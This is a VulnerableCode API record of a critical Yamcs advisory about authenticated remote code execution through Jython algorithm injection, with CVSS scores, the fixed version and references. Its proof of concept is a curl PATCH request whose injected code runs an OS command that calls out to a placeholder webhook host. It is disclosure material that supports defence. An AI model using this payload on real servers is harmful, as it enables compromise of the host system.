Lookup for vulnerabilities affecting packages.

GET /api/vulnerabilities/95292?format=api
HTTP 200 OK
Allow: GET, HEAD, OPTIONS
Content-Type: application/json
Vary: Accept

{
    "url": "http://public2.vulnerablecode.io/api/vulnerabilities/95292?format=api",
    "vulnerability_id": "VCID-8w19-p3rs-nbe8",
    "summary": "Yamcs Vulnerable to Authenticated Remote Code Execution (RCE) via Jython Algorithm Code Injection\n### Summary\nA Server-Side Code Injection vulnerability exists in the Yamcs script evaluation engine for Python algorithms. The application dynamically compiles and evaluates user-controlled algorithm text using Jython (via the JSR-223 ScriptEngine API) without enforcing a secure sandbox. An authenticated user with the `ChangeMissionDatabase` privilege can exploit this by overriding the algorithm logic through the REST API, achieving Remote Code Execution (RCE) on the underlying host operating system.\n\n### Details\nThe vulnerability lies in how Yamcs handles dynamic script evaluation. When a user updates an algorithm via the MDB (Mission Database) API (`/api/mdb/{instance}/realtime/algorithms/{name}`), the `AlgorithmManager` uses the `ScriptAlgorithmExecutorFactory` to instantiate a JSR-223 `ScriptEngine` (in this case, Jython/Python). \n\nBecause Jython allows seamless interoperability with native Java classes, an attacker can import and execute arbitrary Java classes such as `java.lang.Runtime`. Any valid Python algorithm can be overwritten with a malicious payload that executes OS-level commands.\n\n### PoC\n\n**Prerequisites:**\n1. A running Yamcs instance with the Jython engine available in its classpath (e.g., `jython-standalone` dependency included).\n2. An active authentication token for a user with the `SystemPrivilege.ChangeMissionDatabase` privilege.\n3. An existing algorithm defined in the Mission Database (MDB) with its language explicitly set to `python` (e.g., a custom `poc` algorithm). *Note: Yamcs prevents changing the underlying language engine of an algorithm via the API, so an existing Python algorithm must be targeted.*\n\n**Exploitation Steps:**\n\n1. Send an authenticated HTTP PATCH request to the MDB API endpoint to inject the malicious Jython code into the existing Python algorithm. The payload leverages `java.lang.Runtime` to execute an OS command (e.g., triggering an external webhook or a reverse shell).\n\n    ```bash\n    curl -i -X PATCH http://<YAMCS-SERVER-IP>:8090/api/mdb/myproject/realtime/algorithms/myproject/poc \\\n         -H 'Content-Type: application/json' \\\n         -H 'Authorization: Bearer <YOUR_AUTH_TOKEN>' \\\n         -d '{\n           \"action\": \"SET\",\n           \"algorithm\": {\n             \"text\": \"import java.lang.Runtime\\njava.lang.Runtime.getRuntime().exec([\\\"bash\\\", \\\"-c\\\", \\\"curl https://<YOUR-WEBHOOK-URL>/RCE\\\"])\\nout0.value = 1.0\"\n           }\n         }'\n    ```\n\n    *(Note: Assigning a valid output like `out0.value = 1.0` ensures the algorithm returns the expected data type to the Yamcs internal processor, preventing crash loops and ensuring clean execution).*\n\n2. Trigger the algorithm evaluation by sending telemetry data that the algorithm depends on (e.g., running the `simulator.py` script to update the required parameters like `Sunsensor`).\n\n3. The Yamcs server compiles the injected text into an executable script on the fly.\n\n4. Verify that the OS command executed successfully on the host machine by checking the incoming HTTP request on the provided webhook URL.\n\n### Impact\nIt impacts any Yamcs deployment where users are granted the `ChangeMissionDatabase` privilege and a scripting engine (like Jython) is present in the classpath. An attacker can leverage this to escalate application-level configuration privileges to full System/OS control, leading to arbitrary command execution, data exfiltration, and potential lateral movement within the hosting infrastructure.\n\n### Credits\nDiscovered & reported by Pablo Picurelli Ortiz (@superpegaso2703), cybersecurity student at Universidad Rey Juan Carlos.",
    "aliases": [
        {
            "alias": "CVE-2026-46621"
        },
        {
            "alias": "GHSA-2g95-6x5q-xjwj"
        }
    ],
    "fixed_packages": [
        {
            "url": "http://public2.vulnerablecode.io/api/packages/114673?format=api",
            "purl": "pkg:maven/org.yamcs/yamcs-core@5.12.7",
            "is_vulnerable": false,
            "affected_by_vulnerabilities": [],
            "resource_url": "http://public2.vulnerablecode.io/packages/pkg:maven/org.yamcs/yamcs-core@5.12.7"
        }
    ],
    "affected_packages": [],
    "references": [
        {
            "reference_url": "https://github.com/yamcs/yamcs",
            "reference_id": "",
            "reference_type": "",
            "scores": [
                {
                    "value": "9.1",
                    "scoring_system": "cvssv3.1",
                    "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H"
                },
                {
                    "value": "CRITICAL",
                    "scoring_system": "generic_textual",
                    "scoring_elements": ""
                }
            ],
            "url": "https://github.com/yamcs/yamcs"
        },
        {
            "reference_url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-2g95-6x5q-xjwj",
            "reference_id": "",
            "reference_type": "",
            "scores": [
                {
                    "value": "9.1",
                    "scoring_system": "cvssv3.1",
                    "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H"
                },
                {
                    "value": "CRITICAL",
                    "scoring_system": "cvssv3.1_qr",
                    "scoring_elements": ""
                },
                {
                    "value": "CRITICAL",
                    "scoring_system": "generic_textual",
                    "scoring_elements": ""
                }
            ],
            "url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-2g95-6x5q-xjwj"
        },
        {
            "reference_url": "https://github.com/advisories/GHSA-2g95-6x5q-xjwj",
            "reference_id": "GHSA-2g95-6x5q-xjwj",
            "reference_type": "",
            "scores": [
                {
                    "value": "CRITICAL",
                    "scoring_system": "cvssv3.1_qr",
                    "scoring_elements": ""
                }
            ],
            "url": "https://github.com/advisories/GHSA-2g95-6x5q-xjwj"
        }
    ],
    "weaknesses": [
        {
            "cwe_id": 94,
            "name": "Improper Control of Generation of Code ('Code Injection')",
            "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."
        }
    ],
    "exploits": [],
    "severity_range_score": "9.0 - 10.0",
    "exploitability": null,
    "weighted_severity": null,
    "risk_score": null,
    "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-8w19-p3rs-nbe8"
}